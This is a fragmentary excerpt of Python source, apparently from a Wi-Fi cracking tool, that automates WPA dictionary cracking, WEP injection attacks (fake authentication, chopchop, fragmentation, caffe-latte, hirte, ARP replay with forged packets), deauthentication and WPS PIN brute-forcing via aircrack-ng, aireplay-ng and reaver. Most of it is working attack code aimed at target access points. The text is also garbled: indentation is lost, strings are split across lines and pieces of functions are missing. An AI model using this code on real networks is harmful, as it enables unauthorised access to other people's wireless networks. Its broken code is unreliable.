cmd = ['pyrit',
'-r', capfile,
'-o', output_file,
'strip']
call(cmd,stdout=DN, stderr=DN)
elif program_exists('tshark'):
# strip results with tshark
cmd = ['tshark',
'-r', capfile,
# input file
else:
print R+" [!]"+O+" unable to strip .cap file: neither pyrit nor tshark
were found"+W
def load_cracked():
"""
Loads info about cracked access points into list, returns list.
"""
result = []
if not os.path.exists('cracked.txt'): return result
fin = open('cracked.txt', 'r')
lines = fin.read().split('\n')
fin.close()
result.append(tar)
return result
##########################
# WPA CRACKING FUNCTIONS #
##########################
def wpa_crack(capfile):
"""
Cracks cap file using aircrack-ng
This is crude and slow. If people want to crack using pyrit or cowpatty
or oclhashcat,
they can do so manually.
"""
if WPA_DICTIONARY == '':
print R+' [!]'+O+' no WPA dictionary found! use -dict <file>
command-line argument'+W
return False
remove_file(temp + 'out.out')
remove_file(temp + 'wpakey.txt')
cmd = ['aircrack-ng',
'-a', '2',
# WPA crack
'-w', WPA_DICTIONARY,
# Wordlist
# BSSID of target
capfile.filename]
save_cracked(capfile.bssid,
capfile.ssid, key, 'WPA')
"%s"\n' %
(C+key+W)
cracked = True
else:
# Did not crack
print R+'\n [!]'+R+'crack attempt
failed'+O+': passphrase not in dictionary'+W
break
(GR+sec_to_hms(time.time() - start_time)+W,
G+add_commas(kt)+W, G, kps, W),
stdout.flush()
send_interrupt(proc)
try: os.kill(proc.pid, SIGTERM)
except OSError: pass
return cracked
def add_commas(n):
"""
Receives integer n, returns string representation of n with commas in
thousands place.
I'm sure there's easier ways of doing this... but meh.
"""
strn = str(n)
lenn = len(strn)
i=0
result = ''
while i < lenn:
if (lenn - i) % 3 == 0 and i != 0: result += ','
result += strn[i]
i += 1
return result
#################
# WEP FUNCTIONS #
#################
total_attacks -= 1
if not WEP_HIRTE:
total_attacks -= 1
if total_attacks <= 0:
print R+' [!]'+O+' unable to initiate WEP attacks: no attacks are
selected!'
return False
remaining_attacks = total_attacks
interrupted_count = 0
remove_airodump_files(temp + 'wep')
remove_file(temp + 'wepkey.txt')
'-c', target.channel,
# Wireless channel
'--bssid', target.bssid,
iface]
proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
proc_aireplay = None
proc_aircrack = None
successful
= ''
total_ivs = 0
ivs = 0
last_ivs = 0
for attack_num in xrange(0, 6):
continue
continue
remaining_attacks -= 1
try:
if wep_fake_auth(iface, target,
sec_to_hms(WEP_TIMEOUT)):
# Successful fake auth
client_mac = THIS_MAC
elif not WEP_IGNORE_FAKEAUTH:
send_interrupt(proc_aireplay)
send_interrupt(proc_airodump)
print R+' [!]'+O+' unable to fake-authenticate
with target'
print R+' [!]'+O+' to skip this speed bump,
select "ignore-fake-auth" at command-line'
return False
remove_file(temp + 'arp.cap')
# Generate the aireplay-ng arguments based on
attack_num and other params
cmd = get_aireplay_command(iface, attack_num, target,
clients, client_mac)
if cmd == '': continue
proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
time.sleep(1)
if attack_num == 1:
# Send a deauth packet to broadcast and all
clients *just because!*
wep_send_deauths(iface, target, clients)
last_deauth = time.time()
replaying = False
time_started = time.time()
while time.time() - time_started < WEP_TIMEOUT:
# time.sleep(5)
for time_count in xrange(0, 6):
if WEP_TIMEOUT == -1:
current_hms = "[endless]"
else:
current_hms =
sec_to_hms(WEP_TIMEOUT - (time.time() - time_started))
print "\r %s\r" %
(GR+current_hms+W),
stdout.flush()
time.sleep(1)
",
print "\r %s captured %s%d%s ivs @
%s%d%s iv/sec" % \
(GR+current_hms+W, G,
total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
last_ivs = ivs
stdout.flush()
if total_ivs + ivs >=
WEP_CRACK_AT_IVS and not started_cracking:
# Start cracking
cmd = ['aircrack-ng',
'-a', '1',
'-l', temp +
'wepkey.txt']
#temp + 'wep-01.cap']
# Append all .cap files in
temp directory (in case we are resuming)
for file in os.listdir(temp):
if
file.startswith('wep-') and file.endswith('.cap'):
cmd.append(temp + file)
save_cracked(target.bssid, target.ssid,
key, 'WEP')
# Kill processes
send_interrupt(proc_airodump)
send_interrupt(proc_aireplay)
try: os.kill(proc_aireplay, SIGTERM)
except: pass
send_interrupt(proc_aircrack)
# Remove files generated by
airodump/aireplay/packetforce
time.sleep(0.5)
remove_airodump_files(temp + 'wep')
remove_file(temp + 'wepkey.txt')
return True
\r',
stdout.flush()
continue
break
remove_file(temp + 'arp.cap')
cmd = ['packetforge-ng',
'-0',
'-a', targets.bssid,
'-h', client_mac,
'-k', '192.168.1.2',
'-l', '192.168.1.100',
'-y', xor_file,
'-w', temp + 'arp.cap',
iface]
proc_pforge = Popen(cmd, stdout=PIPE,
stderr=DN)
proc_pforge.wait()
forged_packet = proc_pforge.communicate()[0]
remove_file(xor_file)
if forged_packet == None: result = ''
forged_packet = forged_packet.strip()
if not forged_packet.find('Wrote packet'):
forget ARP packet
'%
replaying = True
save_cracked(target.bssid, target.ssid,
key, 'WEP')
# Kill processes
send_interrupt(proc_airodump)
send_interrupt(proc_aireplay)
send_interrupt(proc_aircrack)
# Remove files generated by
airodump/aireplay/packetforce
remove_airodump_files(temp + 'wep')
remove_file(temp + 'wepkey.txt')
return True
send_interrupt(proc_airodump)
if proc_aireplay != None:
send_interrupt(proc_aireplay)
if proc_aircrack != None:
send_interrupt(proc_aircrack)
options = []
selections = []
if remaining_attacks > 0:
options.append('%scontinue%s attacking this
target (%d remaining WEP attack%s)' % \
(G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
selections.append(G+'c'+W)
if TARGETS_REMAINING > 0:
options.append('%sskip%s
onto next target (%d remaining target%s)' % \
options.append('%sexit%s
(R, W))
selections.append(R+'e'+W)
if len(options) > 1:
# Ask user what they want to do, Store answer
in "response"
print GR+' [+]'+W+' what do you want to do?'
response = ''
while response != 'c' and response != 's' and
response != 'e':
for option in options:
print '
%s' % option
rename(temp + 'wep-
01.cap', save_as)
except OSError: print R+' [!]'+O+'
unable to save capture file!'+W
else:
packet capture '+G+'saved'+W+' to '+G+save_as+W
return
pass
if successful:
print GR+'\n [0:00:00]'+W+' attack complete: '+G+'success!'+W
else:
print GR+'\n [0:00:00]'+W+' attack complete: '+R+'failure'+W
send_interrupt(proc_airodump)
if proc_aireplay != None:
send_interrupt(proc_aireplay)
',
cmd = ['aireplay-ng',
'-1', '0', # Fake auth, no delay
'-a', target.bssid,
'-T', '1'] # Make 1 attempt
if target.ssid != '':
cmd.append('-e')
cmd.append(target.ssid)
cmd.append(iface)
result = proc_fakeauth.communicate()[0].lower()
if result.find('switching to shared key') != -1 or \
result.find('rejects open system'): pass
# TODO Shared Key Authentication (SKA)
if result.find('association successful') != -1:
print G+'success!'+W
return True
print R+'failed'+W,
stdout.flush()
time.sleep(0.5)
continue
print ''
return False
cmd.append('-h')
cmd.append(client_mac)
elif len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 1:
cmd = ['aireplay-ng',
'--chopchop',
'-b', target.bssid,
'-x', str(WEP_PPS), # Packets per second
'-m', '60', # Minimum packet length (bytes)
'-n', '82', # Maxmimum packet length
'-F'] # Automatically choose the first packet
if client_mac != '':
cmd.append('-h')
cmd.append(client_mac)
elif len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 2:
cmd = ['aireplay-ng',
'--fragment',
'-b', target.bssid,
elif attack_num == 3:
cmd = ['aireplay-ng',
'--caffe-latte',
'-b', target.bssid]
if len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 4:
cmd = ['aireplay-ng',
'--interactive',
'-b', target.bssid,
'-c', 'ff:ff:ff:ff:ff:ff',
'-t', '1', # Only select packets with ToDS bit set
'-x', str(WEP_PPS), # Packets per second
'-F',
'-p', '0841']
cmd.append(iface)
elif attack_num == 5:
if len(clients) == 0:
print R+' [0:00:00] unable to carry out hirte attack:
'+O+'no clients'
return ''
cmd = ['aireplay-ng',
'--cfrag',
'-h', clients[0].bssid,
iface]
return cmd
#################
# WPS FUNCTIONS #
#################
cmd = ['reaver',
'-i', iface,
'-b', target.bssid,
'-o', temp + 'out.out', # Dump output to file to be monitored
'-a', # auto-detect best options, auto-resumes sessions, doesn't require
input!
'-c', target.channel,
# '--ignore-locks',
'-vv'] # verbose output
proc = Popen(cmd, stdout=DN, stderr=DN)
= 'x'
time_started = time.time()
last_success = time_started # Time of last successful attempt
last_pin = ''
retries = 0
tries_total = 0
tries
=0
pin = ''
key = ''
try:
while not cracked:
time.sleep(1)
if proc.poll() != None:
# Process stopped: Cracked? Failed?
inf = open(temp + 'out.out', 'r')
lines = inf.read().split('\n')
inf.close()
for line in lines:
# When it's cracked:
if line.find("WPS PIN: '") != -1:
pin = line[line.find("WPS
PIN: '") + 10:-1]
if line.find("WPA PSK: '") != -1:
key = line[line.find("WPA
PSK: '") + 10:-1]
cracked = True
break
# Warning
elif line.endswith('10 failed connections in a
row'): pass
stdout.flush()
# Clear out output file if bigger than 1mb
inf = open(temp + 'out.out', 'w')
inf.close()
if cracked:
if pin != '': print GR+'\n\n [+]'+G+' PIN found:
%s' %
(C+pin+W)
if key != '': print GR+' [+] %sWPA key found:%s %s' % (G,
W, C+key+W)
WPA_FINDINGS.append(W+"found %s's WPA key: \"%s\",
WPS PIN: %s" % (G+target.ssid+W, C+key+W, C+pin+W))
WPA_FINDINGS.append('')
except KeyboardInterrupt:
print R+'\n (^C)'+O+' WPS brute-force attack interrupted'+W
if attack_interrupted_prompt():
send_interrupt(proc)
print ''
exit_gracefully(0)
send_interrupt(proc)
return cracked
if __name__ == '__main__':
try:
banner()
main()
exit_gracefully(0)